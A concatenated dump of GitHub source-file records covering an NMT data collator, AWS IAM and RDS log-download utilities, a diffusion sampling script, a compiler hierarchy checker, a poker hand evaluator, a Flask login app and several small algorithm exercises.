new_tgt_text_ids = [[self.tgt_old2new[str(old_id)] for old_id in x] for x in tgt_text_ids]\n decoder_input_ids = [[self.start_token_id] + x[:-1] for x in new_tgt_text_ids]\n labels = new_tgt_text_ids\n\n old_pad_token_id = self.tokenizer.pad_token_id\n new_pad_token_id = self.tgt_old2new[str(old_pad_token_id)]\n labels = torch.LongTensor(new_tgt_text_ids)\n labels = torch.where(labels == new_pad_token_id, self.ignore_index, labels) # 将填充位置的标签设为忽略值\n\n batch = {\n \"encoder_input_ids\": torch.LongTensor(new_encoder_input_ids),\n \"decoder_input_ids\": torch.LongTensor(decoder_input_ids),\n \"labels\": labels,\n \"src_text\": src_text_list,\n \"tgt_text\": tgt_text_list,\n }\n\n return batch\n\n \n","repo_name":"wflying000/NLPTask","sub_path":"NeuralMachineTranslation/Seq2SeqLearningWithNeuralNetworks/src/mydatasets.py","file_name":"mydatasets.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6876602520","text":"import logging\nfrom fn_aws_iam.lib.aws_iam_client import AwsIamClient\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.INFO)\nlog.addHandler(logging.StreamHandler())\n\n\ndef selftest_function(opts):\n \"\"\"\n Simple test to verify AWS IAM connectivity.\n \"\"\"\n options = opts.get(\"fn_aws_iam\", {})\n try:\n iam = AwsIamClient(options, sts_client=True)\n default_identity = iam.sts.get_caller_identity()\n\n if isinstance(default_identity , dict) and \"Arn\" in default_identity:\n user_name = default_identity[\"Arn\"].split('/')[1]\n user_properties = iam.iam.get_user(UserName=user_name)\n if isinstance(user_properties, dict) and \"User\" in user_properties:\n return {\"state\": \"success\"}\n else:\n return {\"state\": \"failure\"}\n else:\n return {\"state\": \"failure\"}\n\n except Exception as e:\n return {\"state\": \"failure\", \"status_code\": e}","repo_name":"ibmresilient/resilient-community-apps","sub_path":"fn_aws_iam/fn_aws_iam/util/selftest.py","file_name":"selftest.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"82"} +{"seq_id":"1025217597","text":"# AWS Version 4 signing example for RDS DownloadComplete Log file\nimport sys, os, base64, datetime, hashlib, hmac, urllib\nimport requests # pip install requests\n\nfrom boto3 import session\n\n\nargs = sys.argv\nregion = args[1]\ninstance_name = args[2]\nlogfile = args[3]\n\n# use to get the hours 00-23 and download the entire day of logs.\nhours = [\"%.2d\" % i for i in range(24)]\n\nmethod = 'GET'\nservice = 'rds'\n\n# Get session credentials\n\n# local creds\n# session = session.Session()\n# cred = session.get_credentials()\n# access_key = 'xxxxx'\n# secret_key = 'xxxxxxx'\n# # # access_key = os.environ.get('AWS_ACCESS_KEY_ID')\n# # # secret_key = os.environ.get('AWS_SECRET_ACCESS_KEY')\n# session_token = cred.token\n\n#EC2 Session\nsession = session.Session()\ncred = session.get_credentials()\naccess_key = cred.access_key\nsecret_key = cred.secret_key\nsession_token = cred.token\n\ndef get_log_file_via_rest(filename, instance_name):\n # Key derivation functions. Taken from https://docs.aws.amazon.com/general/latest/gr/signature-v4-examples.html#signature-v4-examples-python\n def sign(key, msg):\n return hmac.new(key, msg.encode('utf-8'), hashlib.sha256).digest()\n\n def getSignatureKey(key, dateStamp, regionName, serviceName):\n kDate = sign(('AWS4' + key).encode('utf-8'), dateStamp)\n kRegion = sign(kDate, regionName)\n kService = sign(kRegion, serviceName)\n kSigning = sign(kService, 'aws4_request')\n return kSigning\n\n\n\n if access_key is None or secret_key is None:\n print (\"Credentials are not available.\")\n sys.exit()\n\n # Create a date for headers and the credential string\n host = 'rds.' + region + '.amazonaws.com'\n rds_endpoint = 'https://' + host\n uri = '/v13/downloadCompleteLogFile/' + instance_name + '/' + filename\n endpoint = rds_endpoint + uri\n\n t = datetime.datetime.utcnow()\n amzdate = t.strftime('%Y%m%dT%H%M%SZ') # Format date as YYYYMMDD'T'HHMMSS'Z'\n datestamp = t.strftime('%Y%m%d') # Date w/o time, used in credential scope\n\n # Overview:\n # Create a canonical request - https://docs.aws.amazon.com/general/latest/gr/sigv4-create-canonical-request.html\n # Sign the request.\n # Attach headers.\n # Send request\n\n # Create canonical URI--the part of the URI from domain to query\n canonical_uri = uri\n\n # Create the canonical headers\n canonical_headers = 'host:' + host + '\\n' + 'x-amz-date:' + amzdate + '\\n'\n # signed_headers is the list of headers that are being included as part of the signing process.\n signed_headers = 'host;x-amz-date'\n\n # Using recommended hashing algorithm SHA-256\n algorithm = 'AWS4-HMAC-SHA256'\n credential_scope = datestamp + '/' + region + '/' + service + '/' + 'aws4_request'\n\n # Canonical query string. All parameters are sent in http header instead in this example so leave this empty.\n canonical_querystring = ''\n\n # Create payload hash. For GET requests, the payload is an empty string (\"\").\n payload_hash = hashlib.sha256(''.encode('utf-8')).hexdigest()\n\n # Create create canonical request\n canonical_request = method + '\\n' + canonical_uri + '\\n' + canonical_querystring + '\\n' + canonical_headers + '\\n' + signed_headers + '\\n' + payload_hash\n\n # String to sign\n string_to_sign = algorithm + '\\n' + amzdate + '\\n' + credential_scope + '\\n' + hashlib.sha256(canonical_request.encode('utf-8')).hexdigest()\n\n\n # Create the signing key\n signing_key = getSignatureKey(secret_key, datestamp, region, service)\n\n # Sign the string_to_sign using the signing_key\n signature = hmac.new(signing_key, (string_to_sign).encode(\"utf-8\"), hashlib.sha256).hexdigest()\n\n # Add signed info to the header\n authorization_header = algorithm + ' ' + 'Credential=' + access_key + '/' + credential_scope + ', ' + 'SignedHeaders=' + signed_headers + ', ' + 'Signature='+ signature\n headers = {'Accept-Encoding':'gzip', 'x-amz-date':amzdate, 'x-amz-security-token':session_token, 'Authorization':authorization_header}\n\n # Send the request\n r = requests.get(endpoint, headers=headers, stream=True)\n\n print (\"Logs Downloaded!\")\n print (\"Response Code: \" + str(r.status_code))\n print (\"Content-Encoding: \" + r.headers['content-encoding'])\n\n # oname = str(filename)\n oname = args[4]\n # oname = (str(filename) + \"-log\")\n print (oname)\n # oname = input('Enter output file name (fullpath): ')\n # if os.path.exists(oname):\n # append_write = 'a'\n # else:\n # append_write = 'w'\n with open(oname, 'a') as f:\n for part in r.iter_content(chunk_size=8192, decode_unicode=True):\n f.write(str(part).replace(r'\\n', '\\n'))\n\n print (\"Log file saved to \" + oname)\n\n\n\n\n# def get_log_file_via_rest(filename, db_instance_identifier):\nfor hour in hours:\n # print(logfile)\n filename = (logfile + f'-{hour}')\n print(filename)\n get_log_file_via_rest(filename, instance_name)","repo_name":"jwalsh2me/rds-pgbadger-setup","sub_path":"rds_download_dailylogs.py","file_name":"rds_download_dailylogs.py","file_ext":"py","file_size_in_byte":4924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34790920822","text":"k = int(input())\n\na = []\nfor i in range(19, 11**7, 9):\n t = i\n temp = t\n s = 0\n while temp > 0:\n s += temp %10\n temp //= 10\n if s == 10:\n a.append(i)\n\nprint(len(a))\n","repo_name":"npkhanhh/codeforces","sub_path":"python/round460/919B.py","file_name":"919B.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25916164194","text":"import torch\nimport data as Data\nimport model as Model\nimport argparse\nimport logging\nimport core.logger as Logger\nimport core.metrics as Metrics\n# from tensorboardX import SummaryWriter\nimport os\nimport numpy as np\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument('-c', '--config', type=str, default='config/sample_sr3_128.json',\n help='JSON file for configuration')\n parser.add_argument('-p', '--phase', type=str, choices=['train', 'val'],\n help='Run either train(training) or val(generation)', default='train')\n parser.add_argument('-gpu', '--gpu_ids', type=str, default=None)\n parser.add_argument('-debug', '-d', action='store_true')\n\n # parse configs\n args = parser.parse_args()\n opt = Logger.parse(args, suffix='_sample')\n # Convert to NoneDict, which return None for missing key.\n opt = Logger.dict_to_nonedict(opt)\n opt['phase'] = 'val'\n\n # logging\n torch.backends.cudnn.enabled = True\n torch.backends.cudnn.benchmark = True\n\n Logger.setup_logger(None, opt['path']['log'],\n 'train', level=logging.INFO, screen=True)\n Logger.setup_logger('val', opt['path']['log'], 'val', level=logging.INFO)\n logger = logging.getLogger('base')\n # logger.info(Logger.dict2str(opt))\n # tb_logger = SummaryWriter(log_dir=opt['path']['tb_logger'])\n\n # dataset\n for phase, dataset_opt in opt['datasets'].items():\n if phase == 'test' or phase == 'val':\n val_set = Data.create_dataset(dataset_opt, phase)\n val_loader = Data.create_dataloader(\n val_set, dataset_opt, phase)\n logger.info('Initial Dataset Finished')\n\n # model\n diffusion = Model.create_model(opt)\n logger.info('Initial Model Finished')\n\n # Train\n current_step = diffusion.begin_step\n current_epoch = diffusion.begin_epoch\n n_iter = opt['train']['n_iter']\n sample_sum = opt['datasets']['val']['data_len']\n sample_sum = 20\n\n if opt['path']['resume_state']:\n logger.info('Resuming training from epoch: {}, iter: {}.'.format(\n current_epoch, current_step))\n\n diffusion.set_new_noise_schedule(\n opt['model']['beta_schedule'][opt['phase']], schedule_phase=opt['phase'])\n\n # sample starts\n logger.info('Begin Model Evaluation.')\n\n result_path = '{}'.format(opt['path']['results'])\n os.makedirs(result_path, exist_ok=True)\n\n for _, val_data in enumerate(val_loader):\n diffusion.feed_data(val_data)\n break\n\n print(sample_sum)\n for idx in range(sample_sum): \n diffusion.sample(continous=False)\n visuals = diffusion.get_current_visuals(sample=True)\n\n show_img_mode = 'single'\n if show_img_mode == 'single':\n # single img series\n sample_img = visuals['denoised'] # uint8\n sample_num = sample_img.shape[0]\n for iter in range(0, sample_num):\n Metrics.save_img(\n Metrics.tensor2img(sample_img[iter]), '{}/{}_{}_sample_{}.png'.format(result_path, current_step, idx, iter))\n else:\n # grid img\n sample_img = Metrics.tensor2img(visuals['denoised']) # uint8\n Metrics.save_img(\n sample_img, '{}/{}_{}_sample_process.png'.format(result_path, current_step, idx))\n Metrics.save_img(\n Metrics.tensor2img(visuals['denoised'][-1]), '{}/{}_{}_sample.png'.format(result_path, current_step, idx))\n","repo_name":"StanfordMIMI/DDM2","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","stars":92,"dataset":"github-code","pt":"82"} +{"seq_id":"9413979907","text":"import collections\nfrom .common import *\nfrom .interfaces import ResolveLinkInterfaceDecls, AddDecls\nfrom joos.errors import err\nfrom joos.syntax import *\n\n\nacyclic_class_nodes = set()\n\n\ndef CheckClassNoCycles(node):\n if node in acyclic_class_nodes:\n return\n\n visited_set = set(node)\n while True:\n extends = node.extends\n if extends:\n node = extends.linked_type\n if node in visited_set:\n err(node.name, \"Cyclic inheritance of: \" + extends.AsString())\n visited_set.add(node)\n else:\n break\n\n acyclic_class_nodes.add(node)\n\n\ndef CheckLinkConstructors(node):\n if node.constructor_decls is None:\n return\n\n cons_map = {}\n for decl in node.constructor_decls:\n sig = tuple(MakeMethodSig(decl))\n if sig in cons_map:\n err(decl.name,\n \"Duplicate constructor definition: \"\n + decl.name.lexeme)\n cons_map[sig] = decl\n\n node.cons_map = cons_map\n\n\ndef CheckClassSimple(node):\n class_modifiers = [x.lexeme for x in node.modifiers]\n is_abstract = 'abstract' in class_modifiers\n\n if node.extends is not None:\n if not isinstance(\n node.extends.linked_type, ClassDecl):\n err(node.name, \"A class must extend a class\")\n else:\n modifiers = [x.lexeme for x in node.extends.linked_type.modifiers]\n if 'final' in modifiers:\n err(node.name, \"A class must not extend a final class\")\n\n if node.interfaces is not None:\n CheckDuplicateInterfaces(node.name, node.interfaces)\n for interface in node.interfaces:\n if not isinstance(interface.linked_type, InterfaceDecl):\n err(node.name, \"A class must implement an interface.\")\n\n\n@memoize\ndef ResolveLinkClassMethods(node):\n # Returns decls: set(MethodDecls)\n decl_map = collections.OrderedDict()\n class_modifiers = [x.lexeme for x in node.modifiers]\n is_abstract = 'abstract' in class_modifiers\n\n if node.interfaces:\n for interface in node.interfaces:\n decls = ResolveLinkInterfaceDecls(interface.linked_type)\n AddDecls(decls, decl_map)\n\n if node.extends:\n decls = ResolveLinkClassMethods(node.extends.linked_type)\n AddDecls(decls, decl_map, is_abstract)\n elif GetObject():\n AddDecls(GetObject().method_decls, decl_map, is_abstract)\n\n if node is not GetObject():\n AddDecls(node.method_decls, decl_map, is_abstract)\n\n if not is_abstract:\n for decl in decl_map.values():\n if decl.IsAbstract():\n err(node.name,\n \"Non abstract class must implement all methods: \" +\n decl.header.m_id.lexeme)\n\n node.method_map = decl_map\n return set(decl_map.values())\n\n\ndef GetAndLinkOrderedFields(node):\n if node.ordered_fields is not None:\n return node.ordered_fields\n fields = []\n if node.extends:\n fields.extend(GetAndLinkOrderedFields(node.extends.linked_type))\n if node.field_decls:\n for field in node.field_decls:\n if not field.IsStatic():\n fields.append(field)\n node.ordered_fields = fields\n return fields\n\ndef GetAndLinkOrderedMethods(node):\n if node.ordered_methods is not None:\n return node.ordered_methods\n methods = collections.OrderedDict()\n if node.extends:\n parent_methods = GetAndLinkOrderedMethods(node.extends.linked_type)\n methods.update(parent_methods)\n elif GetObject():\n for method in GetObject().method_decls:\n if not method.IsStatic():\n methods[MakeMethodSig(method.header)] = method\n if node.method_decls:\n for method in node.method_decls:\n if not method.IsStatic():\n methods[MakeMethodSig(method.header)] = method\n node.ordered_methods = methods\n return methods\n\n\ndef LinkClass(node):\n ifaces = set()\n if node.interfaces:\n for name in node.interfaces:\n ifaces |= LinkInterfaceDecls(name.linked_type)\n node.linked_interfaces = ifaces\n\n supers = [node]\n current = node.extends and node.extends.linked_type\n while current:\n supers.append(current)\n current = current.extends and current.extends.linked_type\n node.linked_supers = supers\n GetAndLinkOrderedFields(node)\n GetAndLinkOrderedMethods(node)\n\n\ndef CheckClass(node):\n CheckClassSimple(node)\n CheckClassNoCycles(node)\n CheckLinkConstructors(node)\n CheckDuplicateMethods(node.method_decls)\n ResolveLinkClassMethods(node)\n LinkClass(node)\n","repo_name":"rpeng/cs444","sub_path":"src/joos/compiler/hierarchy_check/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":4629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"1094619598","text":"from src.console_presenter import ConsolePresenter\nfrom src.enums import HandType\nfrom collections import Counter\n\n\nclass HandResolver:\n @staticmethod\n def get_highest_hand(array_of_hands):\n highest_hand = None\n hand_type = HandType.HIGHER_CARD\n for hand in array_of_hands:\n highest_hand = hand if highest_hand is None else highest_hand\n if HandResolver._is_royal_flush(hand):\n actual_hand_type = HandType.ROYAL_FLUSH\n elif HandResolver._is_poker(hand):\n actual_hand_type = HandType.POKER\n elif HandResolver._is_full_house(hand):\n actual_hand_type = HandType.FULL_HOUSE\n elif HandResolver._is_color(hand):\n actual_hand_type = HandType.COLOR\n elif HandResolver._is_straight(hand):\n actual_hand_type = HandType.STRAIGHT\n elif HandResolver._is_set(hand):\n actual_hand_type = HandType.SET\n elif HandResolver._is_two_pair(hand):\n actual_hand_type = HandType.TWO_PAIR\n elif HandResolver._is_pair(hand):\n actual_hand_type = HandType.PAIR\n else:\n actual_hand_type = HandType.HIGHER_CARD\n\n if actual_hand_type.value > hand_type.value:\n highest_hand = hand\n hand_type = actual_hand_type\n elif actual_hand_type.value == hand_type.value:\n if hand_type in [HandType.ROYAL_FLUSH, HandType.STRAIGHT, HandType.HIGHER_CARD, HandType.COLOR, HandType.TWO_PAIR]\\\n and HandResolver._maximum_value_in_the_hand(hand) > HandResolver._maximum_value_in_the_hand(highest_hand):\n highest_hand = hand\n elif hand_type in [HandType.POKER, HandType.SET, HandType.PAIR] \\\n and HandResolver._get_value_of_the_most_repeated(hand) > HandResolver._get_value_of_the_most_repeated(highest_hand):\n highest_hand = hand\n elif hand_type == HandType.FULL_HOUSE and HandResolver._get_full_house_value(hand) > HandResolver._get_full_house_value(highest_hand):\n highest_hand = hand\n\n ConsolePresenter.present_winning_hand(highest_hand)\n return highest_hand\n\n @staticmethod\n def _get_number_of_suits(hand):\n suits = set(card.suit for card in hand)\n return len(suits)\n\n @staticmethod\n def _is_straight(hand):\n values = [card.value.value for card in hand]\n return (max(values) - min(values) == 4)\n\n @staticmethod\n def _maximum_value_in_the_hand(hand):\n return max(card.value.value for card in hand)\n\n @staticmethod\n def _is_royal_flush(hand):\n number_of_suits = HandResolver._get_number_of_suits(hand)\n return number_of_suits == 1 and HandResolver._is_straight(hand)\n\n @staticmethod\n def _is_poker(hand):\n collection = Counter([card.value.value for card in hand])\n return collection.most_common(1)[0][1] == 4\n\n @staticmethod\n def _is_full_house(hand):\n collection = Counter([card.value.value for card in hand])\n return collection.most_common(1)[0][1] == 3 and collection.most_common(2)[1][1] == 2\n\n @staticmethod\n def _is_color(hand):\n return HandResolver._get_number_of_suits(hand) == 1\n\n @staticmethod\n def _is_set(hand):\n collection = Counter([card.value.value for card in hand])\n return collection.most_common(1)[0][1] == 3\n\n @staticmethod\n def _get_value_of_the_most_repeated(hand):\n collection = Counter([card.value.value for card in hand])\n return collection.most_common(1)[0][0]\n\n @staticmethod\n def _get_full_house_value(hand):\n collection = Counter([card.value.value for card in hand])\n return collection.most_common(1)[0][0]\n\n @staticmethod\n def _is_two_pair(hand):\n different_values = set(card.value.value for card in hand)\n return len(different_values) == 3\n\n @staticmethod\n def _is_pair(hand):\n different_values = set(card.value.value for card in hand)\n return len(different_values) == 4\n","repo_name":"alberturria/kata-poker","sub_path":"src/hand_resolver.py","file_name":"hand_resolver.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72659843789","text":"import logging\r\nimport logging.config\r\nimport os\r\nfrom typing import List\r\n\r\nimport click\r\nimport yaml\r\n\r\nfrom blu.config import Config\r\nfrom commander import CommanderImpl, MockCommander\r\nfrom handbrakeCLI.handbrakeCLI_impl import HandbrakeCLI\r\nfrom identifier.identifier_impl import Identifier\r\nfrom makeMKV.makeMKV import MakeMKV\r\nfrom makeMKV.model.drive import Drive\r\nfrom makeMKV.model.enum.disc_type import DiscType\r\nfrom makeMKV.model.stream import VideoStream\r\nfrom makeMKV.model.title import Title\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\n\r\n@click.command()\r\n@click.option('--rip', '-r', multiple=True, is_flag=True, help='Rip media from disc')\r\n@click.option('--config_location', '-C', help='Config file location. Default blu.yml')\r\n@click.option('--log_config', '-L', help='Logging configuration file. Default logging.yml')\r\n@click.option('--re-run', '-R', help='Re-run a previous run using output files', is_flag=True)\r\ndef blu(rip: bool, config_location: str, log_config: str, re_run: bool = False):\r\n setup_logging(default_path=log_config)\r\n config: Config = Config()\r\n\r\n if config_location:\r\n config.load(config_location)\r\n else:\r\n config.load('./blu.yml')\r\n\r\n if rip:\r\n\r\n if re_run:\r\n makeMKV: MakeMKV = MakeMKV(MockCommander())\r\n compressor: HandbrakeCLI = HandbrakeCLI(MockCommander())\r\n else:\r\n makeMKV: MakeMKV = MakeMKV(CommanderImpl())\r\n compressor: HandbrakeCLI = HandbrakeCLI(CommanderImpl())\r\n\r\n drives: List[Drive] = makeMKV.scan_drives()\r\n identifier: Identifier = Identifier()\r\n\r\n for drive in drives:\r\n drive = makeMKV.scan_disc(drive)\r\n identifier.identify(drive.disc)\r\n\r\n if drive.disc.is_series():\r\n ripSeries(compressor, config, drive, makeMKV, re_run)\r\n else:\r\n ripMovie(compressor, config, drive, makeMKV, re_run)\r\n\r\n\r\ndef ripMovie(compressor, config, drive, makeMKV, re_run):\r\n value: Title = drive.disc.get_movie_title()\r\n video_stream: VideoStream = value.getVideoStream()\r\n container: str = str(config.cfg['general']['movies']['container'])\r\n # str(config.cfg['general']['movies']['filename_format'] \\\r\n file_name: str = ('{title} ({year}) - {source} {resolution}p'\r\n .format(title=drive.disc.get_nice_title(),\r\n year=drive.disc.year,\r\n source=drive.disc.type.toString(),\r\n resolution=video_stream.video_size.y)) + \".\" + container\r\n raw_dir: str = str(config.cfg['general']['movies']['location']['raw'])\r\n compress_dir: str = str(config.cfg['general']['movies']['location']['compressed'])\r\n\r\n if not re_run:\r\n os.makedirs(compress_dir, exist_ok=True)\r\n os.makedirs(raw_dir, exist_ok=True)\r\n\r\n output = os.path.join(compress_dir, file_name)\r\n\r\n raw_location = makeMKV.rip_disc(drive, raw_dir, value.id)\r\n value.raw_location = os.path.join(raw_dir, file_name)\r\n\r\n if not re_run:\r\n os.replace(raw_location, value.raw_location)\r\n\r\n # compressor.compressFile(input_file=value.raw_location,\r\n # output_file=output,\r\n # frame_rate=video_stream.frame_rate,\r\n # width=video_stream.video_size.x,\r\n # height=video_stream.video_size.y,\r\n # quality=getQuality(config, drive))\r\n value.output = output\r\n\r\n\r\ndef ripSeries(compressor, config, drive, makeMKV, re_run):\r\n for key, value in drive.disc.titles.items():\r\n video_stream: VideoStream = value.getVideoStream()\r\n container: str = str(config.cfg['general']['series']['container'])\r\n file_name: str = str(config.cfg['general']['series']['filename_format'] \\\r\n .format(series=value.series,\r\n season=value.season,\r\n episode=value.episode,\r\n name=value.name,\r\n source=drive.disc.type.toString(),\r\n resolution=video_stream.video_size.y)) + \".\" + container\r\n raw_dir: str = str(config.cfg['general']['series']['location']['raw'])\r\n compress_dir: str = str(config.cfg['general']['series']['location']['compressed'])\r\n\r\n if not re_run:\r\n os.makedirs(compress_dir, exist_ok=True)\r\n os.makedirs(raw_dir, exist_ok=True)\r\n\r\n output = os.path.join(compress_dir, file_name)\r\n\r\n raw_location = makeMKV.rip_disc(drive, raw_dir, value.id)\r\n value.raw_location = os.path.join(raw_dir, file_name)\r\n\r\n if not re_run:\r\n os.replace(raw_location, value.raw_location)\r\n\r\n compressor.compressFile(input_file=value.raw_location,\r\n output_file=output,\r\n frame_rate=video_stream.frame_rate,\r\n width=video_stream.video_size.x,\r\n height=video_stream.video_size.y,\r\n quality=getQuality(config, drive))\r\n value.output = output\r\n\r\n\r\ndef getQuality(config, drive):\r\n quality: int = int(config.cfg['handbrake']['quality']['default'])\r\n if drive.disc.type == DiscType.BRAY_TYPE_DISK:\r\n quality = int(config.cfg['handbrake']['quality']['bluray'])\r\n elif drive.disc.type == DiscType.DVD_TYPE_DISK:\r\n quality = int(config.cfg['handbrake']['quality']['dvd'])\r\n return quality\r\n\r\n\r\ndef setup_logging(\r\n default_path='logging.yaml',\r\n default_level=logging.INFO,\r\n env_key='LOG_CFG'\r\n):\r\n \"\"\"Setup logging configuration\r\n\r\n \"\"\"\r\n path = default_path\r\n value = os.getenv(env_key, None)\r\n if value:\r\n path = value\r\n if os.path.exists(path):\r\n with open(path, 'rt') as f:\r\n config = yaml.safe_load(f.read())\r\n logging.config.dictConfig(config)\r\n else:\r\n logging.basicConfig(level=default_level)\r\n\r\n\r\nif __name__ == '__main__':\r\n blu()\r\n","repo_name":"gregarendse/blu_two","sub_path":"blu/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":6097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34187602326","text":"n=int(input('Введите натуральное число: '))\na=n\ndigits=0\nwhile a!=0:\n a=a//10\n digits=digits+1\ni=1\nright=0\nwhile i<=digits//2:\n right=right*10+n%10\n n=n//10\n i=i+1\nif digits%2==1:\n n=n//10\nif n==right:\n print('Данное число является палиндромом')\nelse:\n print('Данное число не является палиндромом')\n","repo_name":"egorov-oleg/hello-world","sub_path":"task38.py","file_name":"task38.py","file_ext":"py","file_size_in_byte":408,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6024913464","text":"\"\"\":mod:`news.reporters.mixins` --- Generic reporter mixins\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProvides generic reporter mixins.\n\n\"\"\"\nfrom .generics import TraversingReporter\nfrom ..utils.url import (\n issamedomain,\n issuburl,\n ext,\n)\nfrom ..constants import (\n DEFAULT_EXT_BLACKLIST,\n DEFAULT_MAX_VISIT,\n)\n\n\nclass BatchTraversingMixin(object):\n def __init__(self, intel=None, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._intel = intel or []\n self.__summoned_reporter_cache = {}\n\n def recruit_reporters(self, urls=None):\n recruited = super().recruit_reporters(urls)\n summoned = self._summon_reporters(self._intel)\n return recruited + summoned\n\n def _summon_reporters(self, news_list):\n if not isinstance(self, TraversingReporter):\n return []\n else:\n return [self._summon_reporter(n) for n in news_list]\n\n def _summon_reporter(self, news):\n cache = self.__summoned_reporter_cache\n # find summoned reporter in cache first\n try:\n return cache[news]\n # inherit meta to new reporter when not found\n except KeyError:\n parent = self.root if news.parent.is_root else \\\n self.root._summon_reporter(news.parent)\n reporter = cache[news] = self._inherit_meta(\n url=news.url, parent=parent\n )\n reporter.fetched_news = news\n return reporter\n\n\nclass DomainTraversingMixin(object):\n async def worth_to_visit(self, news, url):\n root_url = self.root.url\n\n # options\n url_whitelist = self.options.get('url_whitelist', [])\n url_blacklist = self.options.get('url_blacklist', [])\n ext_blacklist = self.options.get('ext_blacklist',\n DEFAULT_EXT_BLACKLIST)\n max_dist = self.options.get('max_dist', None)\n max_visit = self.options.get('max_visit', DEFAULT_MAX_VISIT)\n\n # conditions\n already_visited = await self.already_visited(url)\n is_same_domain = issamedomain(root_url, url)\n is_url_white = any([issuburl(w, url) for w in url_whitelist])\n is_url_black = any([issuburl(b, url) for b in url_blacklist])\n ext_ok = ext(url) not in ext_blacklist\n distance_ok = self.distance <= max_dist if max_dist else True\n visit_count_ok = len(await self.get_visited()) <= max_visit if \\\n max_visit else True\n\n return not already_visited and \\\n (is_same_domain or is_url_white) and \\\n not is_url_black and \\\n ext_ok and \\\n distance_ok and \\\n visit_count_ok\n","repo_name":"kuc2477/news","sub_path":"news/reporters/mixins.py","file_name":"mixins.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"21227343633","text":"from flask import Flask, render_template, request, redirect, session\nimport sqlite3\nfrom sqlite3 import Error\nimport os\n\napp = Flask(__name__)\napp.secret_key = os.urandom(24) # 設定session的密鑰\napp.templates_auto_reload = True \n\n# 建立資料庫連接\ndef create_connection():\n conn = None\n try:\n conn = sqlite3.connect('mydb.db')\n print(f'Successfully connected to the database')\n return conn\n except Error as e:\n print(f'Error connecting to the database: {e}')\n return conn\n\n# 檢查使用者是否已登入\ndef check_login():\n if 'idno' in session:\n return True\n return False\n\n# 登入頁面\n@app.route('/', methods=['GET', 'POST'])\ndef login():\n if request.method == 'POST':\n idno = request.form['idno']\n pwd = request.form['pwd']\n \n conn = create_connection()\n cursor = conn.cursor()\n cursor.execute('SELECT * FROM member WHERE idno = ? AND pwd = ?', (idno, pwd))\n user = cursor.fetchone()\n \n if user:\n session['nm'] = user[1] # 儲存登入使用者的名稱於session中\n session['idno'] = user[6]\n return redirect('/home')\n else:\n error = 'ID或密碼錯誤'\n return render_template('login.html', error=error)\n \n return render_template('login.html')\n\n# 首頁\n@app.route('/home')\ndef home():\n if check_login():\n return render_template('home.html')\n else:\n return redirect('/')\n\n# 修改個人資訊頁面\n@app.route('/edit-profile', methods=['GET', 'POST'])\ndef edit_profile():\n if check_login():\n conn = create_connection()\n cursor = conn.cursor()\n cursor.execute('SELECT * FROM member WHERE nm = ?', (session['nm'],))\n user = cursor.fetchone()\n if request.method == 'POST':\n # 異動資料庫中的個人資訊\n nm = request.form['nm']\n birth = request.form['birth']\n blood = request.form['blood']\n phone = request.form['phone']\n email = request.form['email']\n session['nm'] = nm\n\n cursor.execute('UPDATE member SET nm = ?, birth = ?, blood = ?, phone = ?, email = ? WHERE idno = ?', (nm, birth, blood, phone, email, session['idno'],))\n conn.commit()\n \n return redirect('/home')\n \n return render_template('edit_profile.html', user=user)\n else:\n return redirect('/')\n\n# 登出\n@app.route('/logout')\ndef logout():\n session['nm'] = False\n session['idno'] = False\n return redirect('/')\n\nif __name__ == '__main__':\n app.run(host='127.0.0.1', port=80)\n session(app)\n","repo_name":"clin92154/flask-users","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38258516514","text":"# 주의할 점, 입력받은 x축은 가로 축을 나타냄 -> 열 임.\n# 각 칸 순회 후 처음 배추가 발견된 지점에서 완전탐색\n# 완전탐색은 dfs, bfs 등 상관 X\n# dfs가 더 메모리 적게 소모, 재귀 시 깊이 지정\n\nimport sys\ninput = sys.stdin.readline\nfrom collections import deque\n\nfor _ in range(int(input())):\n m, n, k = map(int, input().split())\n\n lis = [[0]*m for i in range(n)]\n for _ in range(k):\n x, y = map(int, input().split())\n lis[y][x] = 1\n count = 0\n\n def dfs(lis, i, j):\n dx = [0,0,1,-1]\n dy = [1,-1,0,0] # 우, 좌, 하, 상\n stack = [[i,j]]\n \n while stack:\n a, b = stack.pop()\n lis[a][b] = -1\n for i in range(4):\n x = a + dx[i]\n y = b + dy[i]\n if 0 <= x < n and 0 <= y < m and lis[x][y] == 1:\n lis[x][y] == -1\n stack.append([x,y])\n\n \n for i in range(n):\n for j in range(m):\n if lis[i][j] <= 0:\n lis[i][j] = -1\n else:\n count += 1\n dfs(lis, i, j)\n\n print(count)\n\n# i,j 순으로 순회하다가 1을 만나면 bfs 함수로 넘어가는데,\n# bfs에서 이루어지는 순회를 -1해주어야 한다. 따라서 pop했을 때랑, 인접노드 스택에 넣어줄 때 -1 